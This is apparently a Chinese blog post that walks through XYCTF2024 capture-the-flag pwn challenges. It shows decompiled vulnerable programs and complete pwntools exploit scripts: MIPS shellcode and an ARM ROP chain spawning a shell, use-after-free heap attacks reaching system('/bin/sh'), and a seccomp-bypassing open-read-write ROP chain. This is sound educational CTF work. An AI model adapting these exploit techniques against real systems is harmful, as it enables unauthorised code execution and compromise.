init_0(argc, argv, envp);
puts("welcome XYCTF mips world");
vuln();
return 0;
}

int vuln()
{
_BYTE v1[64]; // [sp+18h] [+18h] BYREF

read(0, v1, 256);
return 0;
}

分析

静态编译的 mips 架构的文件
十分简洁,就是普通的栈溢出
但是在 mips 里找不到 pop rdi;ret 类似的 gadgets
不过,mips 的所有段都可执行
可以直接写 shellcode

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

context.log_level = 'debug'
context.arch = 'mips'


shellcode = asm('''li $t6, 0x6e69622f
li $t7,0x68732f
sw $t6, 0xc($sp)
sw $t7, 0x10($sp)
sw $zero, 0x14($sp)

la $a0, 0xc($sp)
li $a1, 0
li $a2, 0

li $v0, 4011
syscall
nop
''')


# io = process(['qemu-mipsel-static','-g' ,'1234', './mips'])
io = process(['qemu-mipsel-static', './mips'])


# addr = 'xxxxxx'.split(':')
# io = remote(addr[0], int(addr[1]))

payload = b'a' * 0x40
payload += p32(0x492900)
payload += p32(0x400860)

io.sendline(payload)

pause()

payload = b'a' * 0x44
payload += p32(0x492900+0x60)
payload += shellcode

io.sendline(payload)

io.interactive()

13. EZ2.0

arm 架构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __fastcall main(int argc, const char **argv, const char **envp)
{
init_0(argc, argv, envp);
puts("welcome XYCTF arm world");
vuln();
return 0;
}

int vuln()
{
_BYTE v1[68]; // [sp+0h] [bp-44h] BYREF

read(0, v1, 256);
return 0;
}

分析

同样是静态编译
同样简洁
但是这个可以找到 gadgetsROP

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *

context.log_level = 'debug'
context.arch = 'arm'

# io = process(['qemu-arm-static', '-g', '1234', './arm'])
io = process(['qemu-arm-static', './arm'])

# addr = 'xxxxxx'.split(':')
# io = remote(addr[0], int(addr[1]))

binsh = 0x8A090
pop_r7 = 0x27d78
pop_r0 = 0x5f73c
pop_r1 = 0x5f824
mov_r2 = 0x4dd04
svc = 0x102B4

payload = b'a'*68
payload += p32(pop_r7)
payload += p32(0xb)
payload += p32(pop_r1)
payload += p32(0)
payload += p32(mov_r2)
payload += p32(0)
payload += p32(0)
payload += p32(0)
payload += p32(pop_r0)
payload += p32(binsh)
payload += p32(svc)

pause()

io.send(payload)

io.interactive()

14. ptmalloc2 it’s myheap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int choice; // [rsp+Ch] [rbp-4h]

init(argc, argv, envp);
while ( 1 )
{
while ( 1 )
{
menu(); // puts("[1] add_chunk()");
// puts("[2] delete_chunk()");
// puts("[3] view_chunk()");
// puts("[4] exit()");
// return printf(">>> ");
choice = get_choice();
if ( choice != 1 )
break;
add_chunk();
}
switch ( choice )
{
case 2:
delete_chunk();
break;
case 3:
view_chunk();
break;
case 114514:
_();
break;
default:
puts("[-] exit()");
exit(0);
}
}
}

void add_chunk()
{
unsigned __int64 idx; // [rsp+8h] [rbp-28h] BYREF
size_t size; // [rsp+10h] [rbp-20h] BYREF
msg *ptr; // [rsp+18h] [rbp-18h]
void *buf; // [rsp+20h] [rbp-10h]
unsigned __int64 v4; // [rsp+28h] [rbp-8h]

v4 = __readfsqword(0x28u);
printf("[?] please input chunk_idx: ");
scanf("%lld", &idx);
if ( idx < 0x10 )
{
printf("[?] Enter chunk size: ");
scanf("%lld", &size);
ptr = (msg *)malloc(0x18uLL);
ptr->size = size;
if ( ptr )
{
buf = malloc(size);
ptr->con = buf;
if ( buf )
{
printf("[?] Enter chunk data: ");
read(0, buf, size);
chunk_list[idx] = ptr;
ptr->flag = 1LL;
}
else
{
puts("[-] Failed to create chunk for data!");
}
}
else
{
puts("[-] Failed to create new chunk!");
}
}
else
{
puts("[-] Chunk limit exceeded!");
}
}

void delete_chunk()
{
unsigned __int64 idx; // [rsp+8h] [rbp-18h] BYREF
msg *ptr; // [rsp+10h] [rbp-10h]
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("[?] Enter chunk id: ");
scanf("%lld", &idx);
if ( idx < 0x10 )
{
ptr = chunk_list[idx];
if ( ptr )
{
if ( ptr->flag )
{
free(chunk_list[idx]);
free(ptr->con);
ptr->flag = 0LL; // uaf
}
else
{
puts("[-] Chunk is not used!");
}
}
else
{
puts("[-] No such chunk!");
}
}
else
{
puts("[-] Chunk limit exceeded!");
}
}

void view_chunk()
{
_QWORD idx[2]; // [rsp+0h] [rbp-10h] BYREF

idx[1] = __readfsqword(0x28u);
printf("[?] Enter chunk id: ");
scanf("%lld", idx);
if ( idx[0] < 0x10uLL )
{
if ( chunk_list[idx[0]] )
{
if ( chunk_list[idx[0]]->flag )
write(1, chunk_list[idx[0]]->con, chunk_list[idx[0]]->size);
else
puts("[-] Chunk is not used!");
}
else
{
puts("[-] No such chunk!");
}
}
else
{
puts("[-] Chunk limit exceeded!");
}
}

int _()
{
printf("this is a gift: %p\n", &puts);
return gift(hello_world);
}

分析

UAF ,还能直接泄露 libc
覆盖 hello_world 和 gift

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

libc = ELF('./libc.so.6')
elf = ELF('./vuln')

io = process(elf.path)
# gdb.attach(io, 'b *0x401773')
# addr = 'xxxx'.split(':')
# io = remote(addr[0], int(addr[1]))


def cmd(c: int):
io.recvuntil(b'>>> ')
io.sendline(str(c).encode())


def add(idx: int, size: int, content: bytes):
cmd(1)
io.recvuntil(b'[?] please input chunk_idx: ')
io.sendline(str(idx).encode())
io.recvuntil(b'[?] Enter chunk size: ')
io.sendline(str(size).encode())
io.recvuntil(b'[?] Enter chunk data: ')
io.send(content)


def delete(idx: int):
cmd(2)
io.recvuntil(b'[?] Enter chunk id: ')
io.sendline(str(idx).encode())


def show(idx: int):
cmd(3)
io.recvuntil(b'[?] Enter chunk id: ')
io.sendline(str(idx).encode())


cmd(114514)
io.recvuntil(b'0x')
libc.address = int(io.recvn(12), 16) - libc.sym['puts']
info('libc_base:' + hex(libc.address))

add(0, 0x10, b'a'*0x10)
add(1, 0x20, b'b'*0x20)

delete(0)
add(0, 0x18, b'a'*0x10)
show(0)

io.recvuntil(b'a'*0x10)
heap_addr = u64(io.recvn(6).ljust(8, b'\x00')) - 0x2c0
info('heap_addr:' + hex(heap_addr))


add(2, 0x18, b'c'*0x10)
add(3, 0x30, p64(0)+p64(0xa1))
add(4, 0x20, b'e'*0x20)
add(5, 0x20, b'f'*0x20)


delete(2)
add(6, 0x18, p64(0x90)+p64(1)+p64(heap_addr+0x3a0))
delete(2)

delete(4)
delete(5)

extend = p64(0)*4
extend += p64(0) + p64(0x21)
extend += p64(0x404070^(heap_addr >> 12)) + p64(0)
add(7, 0x90, extend)

con = b'/bin/sh\x00'+p64(0) + p64(libc.symbols['system'])
add(8, 0x18, con)

cmd(114514)

io.interactive()

15. ptmalloc2 it’s myheap pro

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int choice; // [rsp+Ch] [rbp-4h]

init(argc, argv, envp);
while ( 1 )
{
while ( 1 )
{
menu(); // puts("[1] add_chunk()");
// puts("[2] delete_chunk()");
// puts("[3] view_chunk()");
// puts("[4] exit()");
// return printf(">>> ");
choice = get_choice();
if ( choice != 1 )
break;
add_chunk();
}
if ( choice == 2 )
{
delete_chunk();
}
else
{
if ( choice != 3 )
{
puts("[-] exit()");
exit(0);
}
view_chunk();
}
}
}

__int64 get_choice()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
scanf("%u", &v1);
return v1;
}

unsigned __int64 add_chunk()
{
unsigned __int64 idx; // [rsp+8h] [rbp-28h] BYREF
__int64 size; // [rsp+10h] [rbp-20h] BYREF
msg *ptr; // [rsp+18h] [rbp-18h]
void *buf; // [rsp+20h] [rbp-10h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
printf("[?] please input chunk_idx: ");
scanf("%lld", &idx);
if ( idx < 0x10 )
{
printf("[?] Enter chunk size: ");
scanf("%lld", &size);
if ( size <= 0x80 )
{
ptr = (msg *)malloc(0x18uLL);
ptr->size = size;
if ( ptr )
{
buf = malloc(size);
ptr->con = buf;
if ( buf )
{
printf("[?] Enter chunk data: ");
read(0, buf, size);
chunk_list[idx] = ptr;
ptr->flag = 1LL;
}
else
{
puts("[-] Failed to create chunk for data!");
}
}
else
{
puts("[-] Failed to create new chunk!");
}
}
else
{
puts("[-] too big");
}
}
else
{
puts("[-] Chunk limit exceeded!");
}
return v5 - __readfsqword(0x28u);
}

unsigned __int64 delete_chunk()
{
unsigned __int64 idx; // [rsp+8h] [rbp-18h] BYREF
msg *ptr; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("[?] Enter chunk id: ");
scanf("%lld", &idx);
if ( idx < 0x10 )
{
ptr = (msg *)chunk_list[idx];
if ( ptr )
{
if ( ptr->flag )
{
free((void *)chunk_list[idx]);
free(ptr->con);
ptr->flag = 0LL;
}
else
{
puts("[-] Chunk is not used!");
}
}
else
{
puts("[-] No such chunk!");
}
}
else
{
puts("[-] Chunk limit exceeded!");
}
return v3 - __readfsqword(0x28u);
}

unsigned __int64 view_chunk()
{
unsigned __int64 idx; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("[?] Enter chunk id: ");
scanf("%lld", &idx);
if ( idx < 0x10 )
{
if ( chunk_list[idx] )
{
if ( chunk_list[idx]->flag )
write(1, chunk_list[idx]->con, chunk_list[idx]->size);
else
puts("[-] Chunk is not used!");
}
else
{
puts("[-] No such chunk!");
}
}
else
{
puts("[-] Chunk limit exceeded!");
}
return v2 - __readfsqword(0x28u);
}

分析

事实上,UAF 还是存在
通过 House of rabbit 绕过 flag 检测
可以泄露 libc,进而泄露 stack
题目本意貌似是让打 exit_hook
笔者逃课打 ROP

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
from pwn import *

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

libc = ELF('./libc.so.6')
ld = ELF('./ld-linux-x86-64.so.2')
elf = ELF('./vuln')

io = process('./vuln')
# gdb.attach(io, 'b *0x4017B5')

# addr = 'xxxxx'.split(':')
# io = remote(addr[0], int(addr[1]))


def cmd(c: int):
io.recvuntil(b'>>> ')
io.sendline(str(c).encode())


def add(idx: int, size: int, content: bytes):
cmd(1)
io.recvuntil(b'[?] please input chunk_idx: ')
io.sendline(str(idx).encode())
io.recvuntil(b'[?] Enter chunk size: ')
io.sendline(str(size).encode())
io.recvuntil(b'[?] Enter chunk data: ')
io.send(content)


def delete(idx: int):
cmd(2)
io.recvuntil(b'[?] Enter chunk id: ')
io.sendline(str(idx).encode())


def show(idx: int):
cmd(3)
io.recvuntil(b'[?] Enter chunk id: ')
io.sendline(str(idx).encode())


for i in range(7):
add(i, 0x18, b'a')

for i in range(6):
delete(i)

cmd(1)
io.recvuntil(b'[?] please input chunk_idx: ')
io.sendline(b'7'*0x1000)

add(0, 0x30, b'a'*0x20)
show(0)
libc.address = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x21ace0
log.info(f'libc base: {hex(libc.address)}')


add(1, 0x18, b'a'*0x10)
show(1)
io.recvuntil(b'a'*0x10)
heap = u64(io.recvn(4).ljust(8, b'\x00')) - 0x340
log.info(f'heap base: {hex(heap)}')

add(2, 0x18, b'a'*0x10)
delete(2)
add(3, 0x18, p64(0x28)+p64(1)+p64(libc.symbols['environ']))
show(2)
stack = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x138
info('stack leak: ' + hex(stack))

add(0, 0x50, b'a'*0x20)


add(4, 0x20, p64(0)+p64(0x81))
add(5, 0x30, b'a')
add(6, 0x30, b'a')
add(7, 0x30, b'a')

add(8, 0x18, b'a')
delete(8)
add(9, 0x18, p64(0x70)+p64(1)+p64(heap+0x470))
delete(8)

delete(6)
delete(5)


con = p64(0)*2
con += p64(0) + p64(0x21)
con += p64((heap+0x4f0)^(heap>>12)) + p64(0)
con += p64(0) + p64(0x41)
con += p64((stack-0x10)^(heap>>12)) + p64(0)

add(9,0x70, con)

system = libc.symbols['system']
binsh = next(libc.search(b'/bin/sh'))
rdi = libc.address + 0x2a3e5
ret = libc.address + 0x29139

add(10, 0x30, b'a')

log.info('plz check the heap')

add(1, 0x30, p64(rdi)*2+p64(binsh)+p64(ret)+p64(system))

io.interactive()

16. ptmalloc2 it’s myheap plus

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
int __fastcall main(int argc, const char **argv, const char **envp)
{
int choice; // [rsp+Ch] [rbp-4h]

init();
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
menu(argc, argv);
choice = get_choice();
if ( choice != 1 )
break;
add_chunk();
}
if ( choice != 2 )
break;
delete_chunk();
}
if ( choice != 3 )
break;
view_chunk();
}
puts("[-] break()");
return 0;
}

__int64 init()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
return sandbox();
}

__int64 sandbox()
{
__int64 v1; // [rsp+8h] [rbp-8h]

v1 = seccomp_init(2147418112LL);
seccomp_rule_add(v1, 0LL, 59LL, 0LL);
seccomp_rule_add(v1, 0LL, 322LL, 0LL);
return seccomp_load();
}

int menu()
{
puts("Welcome to XYCTF");
puts("[1] add_chunk()");
puts("[2] delete_chunk()");
puts("[3] view_chunk()");
puts("[4] break()");
return printf(">>> ");
}

unsigned __int64 add_chunk()
{
unsigned __int64 v1; // [rsp+8h] [rbp-28h] BYREF
size_t size; // [rsp+10h] [rbp-20h] BYREF
_QWORD *v3; // [rsp+18h] [rbp-18h]
void *buf; // [rsp+20h] [rbp-10h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
printf("[?] please input chunk_idx: ");
__isoc99_scanf("%lld", &v1);
if ( v1 < 0x10 )
{
printf("[?] Enter chunk size: ");
__isoc99_scanf("%lld", &size);
if ( (__int64)size <= 0x80 )
{
v3 = malloc(0x18uLL);
*v3 = size;
if ( v3 )
{
buf = malloc(size);
v3[2] = buf;
if ( buf )
{
printf("[?] Enter chunk data: ");
read(0, buf, size);
chunk_list[v1] = v3;
v3[1] = 1LL;
}
else
{
puts("[-] Failed to create chunk for data!");
}
}
else
{
puts("[-] Failed to create new chunk!");
}
}
else
{
puts("[-] too big");
}
}
else
{
puts("[-] Chunk limit exceeded!");
}
return v5 - __readfsqword(0x28u);
}

unsigned __int64 delete_chunk()
{
unsigned __int64 v1; // [rsp+8h] [rbp-18h] BYREF
__int64 v2; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("[?] Enter chunk id: ");
__isoc99_scanf("%lld", &v1);
if ( v1 < 0x10 )
{
v2 = chunk_list[v1];
if ( v2 )
{
if ( *(_QWORD *)(v2 + 8) )
{
free((void *)chunk_list[v1]);
free(*(void **)(v2 + 16));
*(_QWORD *)(v2 + 8) = 0LL;
}
else
{
puts("[-] Chunk is not used!");
}
}
else
{
puts("[-] No such chunk!");
}
}
else
{
puts("[-] Chunk limit exceeded!");
}
return v3 - __readfsqword(0x28u);
}

unsigned __int64 view_chunk()
{
unsigned __int64 v1; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("[?] Enter chunk id: ");
__isoc99_scanf("%lld", &v1);
if ( v1 < 0x10 )
{
if ( chunk_list[v1] )
{
if ( *(_QWORD *)(chunk_list[v1] + 8LL) )
write(1, *(const void **)(chunk_list[v1] + 16LL), *(_QWORD *)chunk_list[v1]);
else
puts("[-] Chunk is not used!");
}
else
{
puts("[-] No such chunk!");
}
}
else
{
puts("[-] Chunk limit exceeded!");
}
return v2 - __readfsqword(0x28u);
}

分析

同上一题,由于开了沙箱不能 get shell
直接打 ROP 把栈迁移到堆上,然后 ROPorw

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
from pwn import *

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

libc = ELF('./libc.so.6')
ld = ELF('./ld-linux-x86-64.so.2')
elf = ELF('./vuln')

io = process('./vuln')
# gdb.attach(io, 'b *$rebase(0x182D)')

# addr = 'xxxxx'.split(':')
# io = remote(addr[0], int(addr[1]))


def cmd(c: int):
io.recvuntil(b'>>> ')
io.sendline(str(c).encode())


def add(idx: int, size: int, content: bytes):
cmd(1)
io.recvuntil(b'[?] please input chunk_idx: ')
io.sendline(str(idx).encode())
io.recvuntil(b'[?] Enter chunk size: ')
io.sendline(str(size).encode())
io.recvuntil(b'[?] Enter chunk data: ')
io.send(content)


def delete(idx: int):
cmd(2)
io.recvuntil(b'[?] Enter chunk id: ')
io.sendline(str(idx).encode())


def show(idx: int):
cmd(3)
io.recvuntil(b'[?] Enter chunk id: ')
io.sendline(str(idx).encode())


for i in range(7):
add(i, 0x18, b'a')

for i in range(6):
delete(i)

cmd(1)
io.recvuntil(b'[?] please input chunk_idx: ')
io.sendline(b'7'*0x1000)

add(0, 0x30, b'a'*0x20)
show(0)
libc.address = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x21ace0
log.info(f'libc base: {hex(libc.address)}')


add(1, 0x18, b'a'*0x10)
show(1)
io.recvuntil(b'a'*0x10)
heap = u64(io.recvn(8).ljust(8, b'\x00')) - 0xe40
log.info(f'heap base: {hex(heap)}')

add(2, 0x18, b'a'*0x10)
delete(2)
add(3, 0x18, p64(0x28)+p64(1)+p64(libc.symbols['environ']))
show(2)
stack = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x138
info('stack leak: ' + hex(stack))


# 清理 bins
add(0, 0x40, b'x'*0x10)
add(0, 0x60, b'x'*0x10)
add(0, 0x60, b'x'*0x10)
add(0, 0x60, b'x'*0x10)
add(0, 0x60, b'x'*0x10)
add(0, 0x60, b'x'*0x10)
add(0, 0x60, b'x'*0x10)
add(0, 0x60, b'x'*0x10)
add(0, 0x60, b'x'*0x10)
add(0, 0x70, b'x'*0x10)
add(0, 0x70, b'x'*0x10)
add(0, 0x70, b'x'*0x10)
add(0, 0x70, b'x'*0x10)
add(0, 0x70, b'x'*0x10)
add(0, 0x70, b'x'*0x10)
add(0, 0x70, b'./flag\x00')


rdi = libc.address + 0x2a3e5
rsi = libc.address + 0x2be51
rdx_r12 = libc.address + 0x11f2e7
rsp = libc.address + 0x35732


# orw 栈
con = p64(rdi) + p64(heap + 0x1610)
con += p64(rsi) + p64(0)
con += p64(rdx_r12) + p64(0)
con += p64(0) + p64(libc.symbols['open'])
con += p64(rsp) + p64(heap + 0x1750)
add(0, 0x70, con)

con = p64(rdi) + p64(3)
con += p64(rsi) + p64(heap + 0x10)
con += p64(rdx_r12) + p64(0x40)
con += p64(0) + p64(libc.symbols['read'])
con += p64(rsp) + p64(heap + 0x17f0)
add(1, 0x70, con)

con = p64(rdi) + p64(1)
con += p64(rsi) + p64(heap + 0x10)
con += p64(rdx_r12) + p64(0x40)
con += p64(0) + p64(libc.symbols['write'])
con += p64(rsp) + p64(0)
add(2, 0x70, con)


con = p64(0)+p64(0x71)
add(3, 0x20, con)

add(4, 0x20, b's')
add(5, 0x20, b'a')
add(6, 0x20, b'b')
add(7, 0x20, b'c')

delete(7)
delete(4)
delete(5)
delete(6)

add(8, 0x18, p64(0x60)+p64(1)+p64(heap+0x18a0))
delete(5)

con = p64(0)*2
con += p64(0) + p64(0x21)
con += p64(((heap >> 12)+1) ^ (stack - 0x10))

add(8, 0x60, con)

add(10, 0x18, p64(rsp)*2+p64(heap + 0x16b0))

io.interactive()
  • Title: XYCTF2024 复现
  • Author: Findkey
  • Created at : 2025-04-10 14:45:46
  • Updated at : 2025-07-22 19:17:58
  • Link: https://find-key.github.io/2025/04/10/xyctf2024/
  • License: This work is licensed under CC BY-NC-SA 4.0.